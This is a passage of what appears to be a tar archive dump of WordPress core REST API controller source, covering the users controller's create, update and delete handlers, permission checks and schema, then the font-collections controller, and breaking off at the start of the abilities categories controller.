( is_wp_error( $result ) ) { return $result; } } else { $user_id = wp_insert_user( wp_slash( (array) $user ) ); if ( is_wp_error( $user_id ) ) { return $user_id; } } $user = get_user_by( 'id', $user_id ); /** * Fires immediately after a user is created or updated via the REST API. * * @since 4.7.0 * * @param WP_User $user Inserted or updated user object. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating a user, false when updating. */ do_action( 'rest_insert_user', $user, $request, true ); if ( ! empty( $request['roles'] ) && ! empty( $schema['properties']['roles'] ) ) { array_map( array( $user, 'add_role' ), $request['roles'] ); } if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $user_id ); if ( is_wp_error( $meta_update ) ) { return $meta_update; } } $user = get_user_by( 'id', $user_id ); $fields_update = $this->update_additional_fields_for_object( $user, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'edit' ); /** * Fires after a user is completely created or updated via the REST API. * * @since 5.0.0 * * @param WP_User $user Inserted or updated user object. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating a user, false when updating. */ do_action( 'rest_after_insert_user', $user, $request, true ); $response = $this->prepare_item_for_response( $user, $request ); $response = rest_ensure_response( $response ); $response->set_status( 201 ); $response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $user_id ) ) ); return $response; } /** * Checks if a given request has access to update a user. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise. */ public function update_item_permissions_check( $request ) { $user = $this->get_user( $request['id'] ); if ( is_wp_error( $user ) ) { return $user; } if ( ! empty( $request['roles'] ) ) { if ( ! current_user_can( 'promote_user', $user->ID ) ) { return new WP_Error( 'rest_cannot_edit_roles', __( 'Sorry, you are not allowed to edit roles of this user.' ), array( 'status' => rest_authorization_required_code() ) ); } $request_params = array_keys( $request->get_params() ); sort( $request_params ); /* * If only 'id' and 'roles' are specified (we are only trying to * edit roles), then only the 'promote_user' cap is required. */ if ( array( 'id', 'roles' ) === $request_params ) { return true; } } if ( ! current_user_can( 'edit_user', $user->ID ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this user.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Updates a single user. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function update_item( $request ) { $user = $this->get_user( $request['id'] ); if ( is_wp_error( $user ) ) { return $user; } $id = $user->ID; $owner_id = false; if ( is_string( $request['email'] ) ) { $owner_id = email_exists( $request['email'] ); } if ( $owner_id && $owner_id !== $id ) { return new WP_Error( 'rest_user_invalid_email', __( 'Invalid email address.' ), array( 'status' => 400 ) ); } if ( ! empty( $request['username'] ) && $request['username'] !== $user->user_login ) { return new WP_Error( 'rest_user_invalid_argument', __( 'Username is not editable.' ), array( 'status' => 400 ) ); } if ( ! empty( $request['slug'] ) && $request['slug'] !== $user->user_nicename && get_user_by( 'slug', $request['slug'] ) ) { return new WP_Error( 'rest_user_invalid_slug', __( 'Invalid slug.' ), array( 'status' => 400 ) ); } if ( ! empty( $request['roles'] ) ) { $check_permission = $this->check_role_update( $id, $request['roles'] ); if ( is_wp_error( $check_permission ) ) { return $check_permission; } } $user = $this->prepare_item_for_database( $request ); // Ensure we're operating on the same user we already checked. $user->ID = $id; $user_id = wp_update_user( wp_slash( (array) $user ) ); if ( is_wp_error( $user_id ) ) { return $user_id; } $user = get_user_by( 'id', $user_id ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php */ do_action( 'rest_insert_user', $user, $request, false ); if ( ! empty( $request['roles'] ) ) { array_map( array( $user, 'add_role' ), $request['roles'] ); } $schema = $this->get_item_schema(); if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $id ); if ( is_wp_error( $meta_update ) ) { return $meta_update; } } $user = get_user_by( 'id', $user_id ); $fields_update = $this->update_additional_fields_for_object( $user, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'edit' ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php */ do_action( 'rest_after_insert_user', $user, $request, false ); $response = $this->prepare_item_for_response( $user, $request ); $response = rest_ensure_response( $response ); return $response; } /** * Checks if a given request has access to update the current user. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise. */ public function update_current_item_permissions_check( $request ) { $request['id'] = get_current_user_id(); return $this->update_item_permissions_check( $request ); } /** * Updates the current user. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function update_current_item( $request ) { $request['id'] = get_current_user_id(); return $this->update_item( $request ); } /** * Checks if a given request has access delete a user. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise. */ public function delete_item_permissions_check( $request ) { $user = $this->get_user( $request['id'] ); if ( is_wp_error( $user ) ) { return $user; } if ( ! current_user_can( 'delete_user', $user->ID ) ) { return new WP_Error( 'rest_user_cannot_delete', __( 'Sorry, you are not allowed to delete this user.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Deletes a single user. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_item( $request ) { // We don't support delete requests in multisite. if ( is_multisite() ) { return new WP_Error( 'rest_cannot_delete', __( 'The user cannot be deleted.' ), array( 'status' => 501 ) ); } $user = $this->get_user( $request['id'] ); if ( is_wp_error( $user ) ) { return $user; } $id = $user->ID; $reassign = false === $request['reassign'] ? null : absint( $request['reassign'] ); $force = isset( $request['force'] ) ? (bool) $request['force'] : false; // We don't support trashing for users. if ( ! $force ) { return new WP_Error( 'rest_trash_not_supported', /* translators: %s: force=true */ sprintf( __( "Users do not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) ); } if ( ! empty( $reassign ) ) { if ( $reassign === $id || ! get_userdata( $reassign ) ) { return new WP_Error( 'rest_user_invalid_reassign', __( 'Invalid user ID for reassignment.' ), array( 'status' => 400 ) ); } } $request->set_param( 'context', 'edit' ); $previous = $this->prepare_item_for_response( $user, $request ); // Include user admin functions to get access to wp_delete_user(). require_once ABSPATH . 'wp-admin/includes/user.php'; $result = wp_delete_user( $id, $reassign ); if ( ! $result ) { return new WP_Error( 'rest_cannot_delete', __( 'The user cannot be deleted.' ), array( 'status' => 500 ) ); } $response = new WP_REST_Response(); $response->set_data( array( 'deleted' => true, 'previous' => $previous->get_data(), ) ); /** * Fires immediately after a user is deleted via the REST API. * * @since 4.7.0 * * @param WP_User $user The user data. * @param WP_REST_Response $response The response returned from the API. * @param WP_REST_Request $request The request sent to the API. */ do_action( 'rest_delete_user', $user, $response, $request ); return $response; } /** * Checks if a given request has access to delete the current user. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise. */ public function delete_current_item_permissions_check( $request ) { $request['id'] = get_current_user_id(); return $this->delete_item_permissions_check( $request ); } /** * Deletes the current user. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_current_item( $request ) { $request['id'] = get_current_user_id(); return $this->delete_item( $request ); } /** * Prepares a single user output for response. * * @since 4.7.0 * @since 5.9.0 Renamed `$user` to `$item` to match parent class for PHP 8 named parameter support. * * @param WP_User $item User object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $user = $item; // Don't prepare the response body for HEAD requests. if ( $request->is_method( 'HEAD' ) ) { /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php */ return apply_filters( 'rest_prepare_user', new WP_REST_Response( array() ), $user, $request ); } $fields = $this->get_fields_for_response( $request ); $data = array(); if ( in_array( 'id', $fields, true ) ) { $data['id'] = $user->ID; } if ( in_array( 'username', $fields, true ) ) { $data['username'] = $user->user_login; } if ( in_array( 'name', $fields, true ) ) { $data['name'] = $user->display_name; } if ( in_array( 'first_name', $fields, true ) ) { $data['first_name'] = $user->first_name; } if ( in_array( 'last_name', $fields, true ) ) { $data['last_name'] = $user->last_name; } if ( in_array( 'email', $fields, true ) ) { $data['email'] = $user->user_email; } if ( in_array( 'url', $fields, true ) ) { $data['url'] = $user->user_url; } if ( in_array( 'description', $fields, true ) ) { $data['description'] = $user->description; } if ( in_array( 'link', $fields, true ) ) { $data['link'] = get_author_posts_url( $user->ID, $user->user_nicename ); } if ( in_array( 'locale', $fields, true ) ) { $data['locale'] = get_user_locale( $user ); } if ( in_array( 'nickname', $fields, true ) ) { $data['nickname'] = $user->nickname; } if ( in_array( 'slug', $fields, true ) ) { $data['slug'] = $user->user_nicename; } if ( in_array( 'roles', $fields, true ) && ( current_user_can( 'list_users' ) || current_user_can( 'edit_user', $user->ID ) ) ) { // Defensively call array_values() to ensure an array is returned. $data['roles'] = array_values( $user->roles ); } if ( in_array( 'registered_date', $fields, true ) ) { $data['registered_date'] = gmdate( 'c', strtotime( $user->user_registered ) ); } if ( in_array( 'capabilities', $fields, true ) ) { $data['capabilities'] = (object) $user->allcaps; } if ( in_array( 'extra_capabilities', $fields, true ) ) { $data['extra_capabilities'] = (object) $user->caps; } if ( in_array( 'avatar_urls', $fields, true ) ) { $data['avatar_urls'] = rest_get_avatar_urls( $user ); } if ( in_array( 'meta', $fields, true ) ) { $data['meta'] = $this->meta->get_value( $user->ID, $request ); } $context = ! empty( $request['context'] ) ? $request['context'] : 'embed'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); // Wrap the data in a response object. $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $response->add_links( $this->prepare_links( $user ) ); } /** * Filters user data returned from the REST API. * * @since 4.7.0 * * @param WP_REST_Response $response The response object. * @param WP_User $user User object used to create response. * @param WP_REST_Request $request Request object. */ return apply_filters( 'rest_prepare_user', $response, $user, $request ); } /** * Prepares links for the user request. * * @since 4.7.0 * * @param WP_User $user User object. * @return array Links for the given user. */ protected function prepare_links( $user ) { $links = array( 'self' => array( 'href' => rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $user->ID ) ), ), 'collection' => array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ), ); return $links; } /** * Prepares a single user for creation or update. * * @since 4.7.0 * * @param WP_REST_Request $request Request object. * @return object User object. */ protected function prepare_item_for_database( $request ) { $prepared_user = new stdClass(); $schema = $this->get_item_schema(); // Required arguments. if ( isset( $request['email'] ) && ! empty( $schema['properties']['email'] ) ) { $prepared_user->user_email = $request['email']; } if ( isset( $request['username'] ) && ! empty( $schema['properties']['username'] ) ) { $prepared_user->user_login = $request['username']; } if ( isset( $request['password'] ) && ! empty( $schema['properties']['password'] ) ) { $prepared_user->user_pass = $request['password']; } // Optional arguments. if ( isset( $request['id'] ) ) { $prepared_user->ID = absint( $request['id'] ); } if ( isset( $request['name'] ) && ! empty( $schema['properties']['name'] ) ) { $prepared_user->display_name = $request['name']; } if ( isset( $request['first_name'] ) && ! empty( $schema['properties']['first_name'] ) ) { $prepared_user->first_name = $request['first_name']; } if ( isset( $request['last_name'] ) && ! empty( $schema['properties']['last_name'] ) ) { $prepared_user->last_name = $request['last_name']; } if ( isset( $request['nickname'] ) && ! empty( $schema['properties']['nickname'] ) ) { $prepared_user->nickname = $request['nickname']; } if ( isset( $request['slug'] ) && ! empty( $schema['properties']['slug'] ) ) { $prepared_user->user_nicename = $request['slug']; } if ( isset( $request['description'] ) && ! empty( $schema['properties']['description'] ) ) { $prepared_user->description = $request['description']; } if ( isset( $request['url'] ) && ! empty( $schema['properties']['url'] ) ) { $prepared_user->user_url = $request['url']; } if ( isset( $request['locale'] ) && ! empty( $schema['properties']['locale'] ) ) { $prepared_user->locale = $request['locale']; } // Setting roles will be handled outside of this function. if ( isset( $request['roles'] ) ) { $prepared_user->role = false; } /** * Filters user data before insertion via the REST API. * * @since 4.7.0 * * @param object $prepared_user User object. * @param WP_REST_Request $request Request object. */ return apply_filters( 'rest_pre_insert_user', $prepared_user, $request ); } /** * Determines if the current user is allowed to make the desired roles change. * * @since 4.7.0 * * @global WP_Roles $wp_roles WordPress role management object. * * @param int $user_id User ID. * @param array $roles New user roles. * @return true|WP_Error True if the current user is allowed to make the role change, * otherwise a WP_Error object. */ protected function check_role_update( $user_id, $roles ) { global $wp_roles; foreach ( $roles as $role ) { if ( ! isset( $wp_roles->role_objects[ $role ] ) ) { return new WP_Error( 'rest_user_invalid_role', /* translators: %s: Role key. */ sprintf( __( 'The role %s does not exist.' ), $role ), array( 'status' => 400 ) ); } $potential_role = $wp_roles->role_objects[ $role ]; /* * Don't let anyone with 'edit_users' (admins) edit their own role to something without it. * Multisite super admins can freely edit their blog roles -- they possess all caps. */ if ( ! ( is_multisite() && current_user_can( 'manage_sites' ) ) && get_current_user_id() === $user_id && ! $potential_role->has_cap( 'edit_users' ) ) { return new WP_Error( 'rest_user_invalid_role', __( 'Sorry, you are not allowed to give users that role.' ), array( 'status' => rest_authorization_required_code() ) ); } // Include user admin functions to get access to get_editable_roles(). require_once ABSPATH . 'wp-admin/includes/user.php'; // The new role must be editable by the logged-in user. $editable_roles = get_editable_roles(); if ( empty( $editable_roles[ $role ] ) ) { return new WP_Error( 'rest_user_invalid_role', __( 'Sorry, you are not allowed to give users that role.' ), array( 'status' => 403 ) ); } } return true; } /** * Check a username for the REST API. * * Performs a couple of checks like edit_user() in wp-admin/includes/user.php. * * @since 4.7.0 * * @param string $value The username submitted in the request. * @param WP_REST_Request $request Full details about the request. * @param string $param The parameter name. * @return string|WP_Error The sanitized username, if valid, otherwise an error. */ public function check_username( $value, $request, $param ) { $username = (string) $value; if ( ! validate_username( $username ) ) { return new WP_Error( 'rest_user_invalid_username', __( 'This username is invalid because it uses illegal characters. Please enter a valid username.' ), array( 'status' => 400 ) ); } /** This filter is documented in wp-includes/user.php */ $illegal_logins = (array) apply_filters( 'illegal_user_logins', array() ); if ( in_array( strtolower( $username ), array_map( 'strtolower', $illegal_logins ), true ) ) { return new WP_Error( 'rest_user_invalid_username', __( 'Sorry, that username is not allowed.' ), array( 'status' => 400 ) ); } return $username; } /** * Check a user password for the REST API. * * Performs a couple of checks like edit_user() in wp-admin/includes/user.php. * * @since 4.7.0 * * @param string $value The password submitted in the request. * @param WP_REST_Request $request Full details about the request. * @param string $param The parameter name. * @return string|WP_Error The sanitized password, if valid, otherwise an error. */ public function check_user_password( #[\SensitiveParameter] $value, $request, $param ) { $password = (string) $value; if ( empty( $password ) ) { return new WP_Error( 'rest_user_invalid_password', __( 'Passwords cannot be empty.' ), array( 'status' => 400 ) ); } if ( str_contains( $password, '\\' ) ) { return new WP_Error( 'rest_user_invalid_password', sprintf( /* translators: %s: The '\' character. */ __( 'Passwords cannot contain the "%s" character.' ), '\\' ), array( 'status' => 400 ) ); } return $password; } /** * Retrieves the user's schema, conforming to JSON Schema. * * @since 4.7.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'user', 'type' => 'object', 'properties' => array( 'id' => array( 'description' => __( 'Unique identifier for the user.' ), 'type' => 'integer', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'username' => array( 'description' => __( 'Login name for the user.' ), 'type' => 'string', 'context' => array( 'edit' ), 'required' => true, 'arg_options' => array( 'sanitize_callback' => array( $this, 'check_username' ), ), ), 'name' => array( 'description' => __( 'Display name for the user.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'first_name' => array( 'description' => __( 'First name for the user.' ), 'type' => 'string', 'context' => array( 'edit' ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'last_name' => array( 'description' => __( 'Last name for the user.' ), 'type' => 'string', 'context' => array( 'edit' ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'email' => array( 'description' => __( 'The email address for the user.' ), 'type' => 'string', 'format' => 'email', 'context' => array( 'edit' ), 'required' => true, ), 'url' => array( 'description' => __( 'URL of the user.' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'embed', 'view', 'edit' ), ), 'description' => array( 'description' => __( 'Description of the user.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), ), 'link' => array( 'description' => __( 'Author URL of the user.' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'locale' => array( 'description' => __( 'Locale for the user.' ), 'type' => 'string', 'enum' => array_merge( array( '', 'en_US' ), get_available_languages() ), 'context' => array( 'edit' ), ), 'nickname' => array( 'description' => __( 'The nickname for the user.' ), 'type' => 'string', 'context' => array( 'edit' ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'slug' => array( 'description' => __( 'An alphanumeric identifier for the user.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'arg_options' => array( 'sanitize_callback' => array( $this, 'sanitize_slug' ), ), ), 'registered_date' => array( 'description' => __( 'Registration date for the user.' ), 'type' => 'string', 'format' => 'date-time', 'context' => array( 'edit' ), 'readonly' => true, ), 'roles' => array( 'description' => __( 'Roles assigned to the user.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), 'context' => array( 'edit' ), ), 'password' => array( 'description' => __( 'Password for the user (never included).' ), 'type' => 'string', 'context' => array(), // Password is never displayed. 'required' => true, 'arg_options' => array( 'sanitize_callback' => array( $this, 'check_user_password' ), ), ), 'capabilities' => array( 'description' => __( 'All capabilities assigned to the user.' ), 'type' => 'object', 'context' => array( 'edit' ), 'readonly' => true, ), 'extra_capabilities' => array( 'description' => __( 'Any extra capabilities assigned to the user.' ), 'type' => 'object', 'context' => array( 'edit' ), 'readonly' => true, ), ), ); if ( get_option( 'show_avatars' ) ) { $avatar_properties = array(); $avatar_sizes = rest_get_avatar_sizes(); foreach ( $avatar_sizes as $size ) { $avatar_properties[ $size ] = array( /* translators: %d: Avatar image size in pixels. */ 'description' => sprintf( __( 'Avatar URL with image size of %d pixels.' ), $size ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'embed', 'view', 'edit' ), ); } $schema['properties']['avatar_urls'] = array( 'description' => __( 'Avatar URLs for the user.' ), 'type' => 'object', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, 'properties' => $avatar_properties, ); } $schema['properties']['meta'] = $this->meta->get_field_schema(); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for collections. * * @since 4.7.0 * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); $query_params['context']['default'] = 'view'; $query_params['exclude'] = array( 'description' => __( 'Ensure result set excludes specific IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); $query_params['include'] = array( 'description' => __( 'Limit result set to specific IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); $query_params['offset'] = array( 'description' => __( 'Offset the result set by a specific number of items.' ), 'type' => 'integer', ); $query_params['order'] = array( 'default' => 'asc', 'description' => __( 'Order sort attribute ascending or descending.' ), 'enum' => array( 'asc', 'desc' ), 'type' => 'string', ); $query_params['orderby'] = array( 'default' => 'name', 'description' => __( 'Sort collection by user attribute.' ), 'enum' => array( 'id', 'include', 'name', 'registered_date', 'slug', 'include_slugs', 'email', 'url', ), 'type' => 'string', ); $query_params['slug'] = array( 'description' => __( 'Limit result set to users with one or more specific slugs.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), ); $query_params['roles'] = array( 'description' => __( 'Limit result set to users matching at least one specific role provided. Accepts csv list or single role.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), ); $query_params['capabilities'] = array( 'description' => __( 'Limit result set to users matching at least one specific capability provided. Accepts csv list or single capability.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), ); $query_params['who'] = array( 'description' => __( 'Limit result set to users who are considered authors.' ), 'type' => 'string', 'enum' => array( 'authors', ), ); $query_params['has_published_posts'] = array( 'description' => __( 'Limit result set to users who have published posts.' ), 'type' => array( 'boolean', 'array' ), 'items' => array( 'type' => 'string', 'enum' => get_post_types( array( 'show_in_rest' => true ), 'names' ), ), ); $query_params['search_columns'] = array( 'default' => array(), 'description' => __( 'Array of column names to be searched.' ), 'type' => 'array', 'items' => array( 'enum' => array( 'email', 'name', 'id', 'username', 'slug' ), 'type' => 'string', ), ); /** * Filters REST API collection parameters for the users controller. * * This filter registers the collection parameter, but does not map the * collection parameter to an internal WP_User_Query parameter. Use the * `rest_user_query` filter to set WP_User_Query arguments. * * @since 4.7.0 * * @param array $query_params JSON Schema-formatted collection parameters. */ return apply_filters( 'rest_user_collection_params', $query_params ); } } class-wp-rest-font-collections-controller.php000064400000024622152506367270015445 0ustar00rest_base = 'font-collections'; $this->namespace = 'wp/v2'; } /** * Registers the routes for the objects of the controller. * * @since 6.5.0 */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\/\w-]+)', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Gets the font collections available. * * @since 6.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $collections_all = WP_Font_Library::get_instance()->get_font_collections(); $page = $request['page']; $per_page = $request['per_page']; $total_items = count( $collections_all ); $max_pages = (int) ceil( $total_items / $per_page ); if ( $page > $max_pages && $total_items > 0 ) { return new WP_Error( 'rest_post_invalid_page_number', __( 'The page number requested is larger than the number of pages available.' ), array( 'status' => 400 ) ); } $collections_page = array_slice( $collections_all, ( $page - 1 ) * $per_page, $per_page ); $is_head_request = $request->is_method( 'HEAD' ); $items = array(); foreach ( $collections_page as $collection ) { $item = $this->prepare_item_for_response( $collection, $request ); // If there's an error loading a collection, skip it and continue loading valid collections. if ( is_wp_error( $item ) ) { continue; } /* * Skip preparing the response body for HEAD requests. * Cannot exit earlier due to backward compatibility reasons, * as validation occurs in the prepare_item_for_response method. */ if ( $is_head_request ) { continue; } $item = $this->prepare_response_for_collection( $item ); $items[] = $item; } $response = $is_head_request ? new WP_REST_Response( array() ) : rest_ensure_response( $items ); $response->header( 'X-WP-Total', (int) $total_items ); $response->header( 'X-WP-TotalPages', $max_pages ); $request_params = $request->get_query_params(); $collection_url = rest_url( $this->namespace . '/' . $this->rest_base ); $base = add_query_arg( urlencode_deep( $request_params ), $collection_url ); if ( $page > 1 ) { $prev_page = $page - 1; if ( $prev_page > $max_pages ) { $prev_page = $max_pages; } $prev_link = add_query_arg( 'page', $prev_page, $base ); $response->link_header( 'prev', $prev_link ); } if ( $max_pages > $page ) { $next_page = $page + 1; $next_link = add_query_arg( 'page', $next_page, $base ); $response->link_header( 'next', $next_link ); } return $response; } /** * Gets a font collection. * * @since 6.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $slug = $request->get_param( 'slug' ); $collection = WP_Font_Library::get_instance()->get_font_collection( $slug ); if ( ! $collection ) { return new WP_Error( 'rest_font_collection_not_found', __( 'Font collection not found.' ), array( 'status' => 404 ) ); } return $this->prepare_item_for_response( $collection, $request ); } /** * Prepare a single collection output for response. * * @since 6.5.0 * * @param WP_Font_Collection $item Font collection object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function prepare_item_for_response( $item, $request ) { $fields = $this->get_fields_for_response( $request ); $data = array(); if ( rest_is_field_included( 'slug', $fields ) ) { $data['slug'] = $item->slug; } // If any data fields are requested, get the collection data. $data_fields = array( 'name', 'description', 'font_families', 'categories' ); if ( ! empty( array_intersect( $fields, $data_fields ) ) ) { $collection_data = $item->get_data(); if ( is_wp_error( $collection_data ) ) { $collection_data->add_data( array( 'status' => 500 ) ); return $collection_data; } /** * Don't prepare the response body for HEAD requests. * Can't exit at the beginning of the method due to the potential need to return a WP_Error object. */ if ( $request->is_method( 'HEAD' ) ) { /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php */ return apply_filters( 'rest_prepare_font_collection', new WP_REST_Response( array() ), $item, $request ); } foreach ( $data_fields as $field ) { if ( rest_is_field_included( $field, $fields ) ) { $data[ $field ] = $collection_data[ $field ]; } } } /** * Don't prepare the response body for HEAD requests. * Can't exit at the beginning of the method due to the potential need to return a WP_Error object. */ if ( $request->is_method( 'HEAD' ) ) { /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php */ return apply_filters( 'rest_prepare_font_collection', new WP_REST_Response( array() ), $item, $request ); } $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) ) { $links = $this->prepare_links( $item ); $response->add_links( $links ); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $response->data = $this->add_additional_fields_to_object( $response->data, $request ); $response->data = $this->filter_response_by_context( $response->data, $context ); /** * Filters the font collection data for a REST API response. * * @since 6.5.0 * * @param WP_REST_Response $response The response object. * @param WP_Font_Collection $item The font collection object. * @param WP_REST_Request $request Request used to generate the response. */ return apply_filters( 'rest_prepare_font_collection', $response, $item, $request ); } /** * Retrieves the font collection's schema, conforming to JSON Schema. * * @since 6.5.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'font-collection', 'type' => 'object', 'properties' => array( 'slug' => array( 'description' => __( 'Unique identifier for the font collection.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'name' => array( 'description' => __( 'The name for the font collection.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), ), 'description' => array( 'description' => __( 'The description for the font collection.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), ), 'font_families' => array( 'description' => __( 'The font families for the font collection.' ), 'type' => 'array', 'context' => array( 'view', 'edit', 'embed' ), ), 'categories' => array( 'description' => __( 'The categories for the font collection.' ), 'type' => 'array', 'context' => array( 'view', 'edit', 'embed' ), ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Prepares links for the request. * * @since 6.5.0 * * @param WP_Font_Collection $collection Font collection data * @return array Links for the given font collection. */ protected function prepare_links( $collection ) { return array( 'self' => array( 'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $collection->slug ) ), ), 'collection' => array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ), ); } /** * Retrieves the search params for the font collections. * * @since 6.5.0 * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); $query_params['context'] = $this->get_context_param( array( 'default' => 'view' ) ); unset( $query_params['search'] ); /** * Filters REST API collection parameters for the font collections controller. * * @since 6.5.0 * * @param array $query_params JSON Schema-formatted collection parameters. */ return apply_filters( 'rest_font_collections_collection_params', $query_params ); } /** * Checks whether the user has permissions to use the Fonts Collections. * * @since 6.5.0 * * @return true|WP_Error True if the request has write access for the item, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { if ( current_user_can( 'edit_theme_options' ) ) { return true; } return new WP_Error( 'rest_cannot_read', __( 'Sorry, you are not allowed to access font collections.' ), array( 'status' => rest_authorization_required_code(), ) ); } } class-wp-rest-abilities-v1-categories-controller.php000064400000017712152506367270016601 0ustar00namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[a-z0-9]+(?:-[a-z0-9]+)*)', array( 'args' => array( 'slug' => array( 'description' => __( 'Unique identifier for the ability category.' ), 'type' => 'string', 'pattern' => '^[a-z0-9]+(?:-[a-z0-9]+)*$', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Retrieves all ability categories. * * @since 6.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Response object on success. */ public function get_items( $request ) { $categories = wp_get_ability_categories(); $page = $request['page']; $per_page = $request['per_page']; $offset = ( $page - 1 ) * $per_page; $total_categories = count( $categories ); $max_pages = (int) ceil( $total_categories / $per_page ); if ( $request->get_method() === 'HEAD' ) { $response = 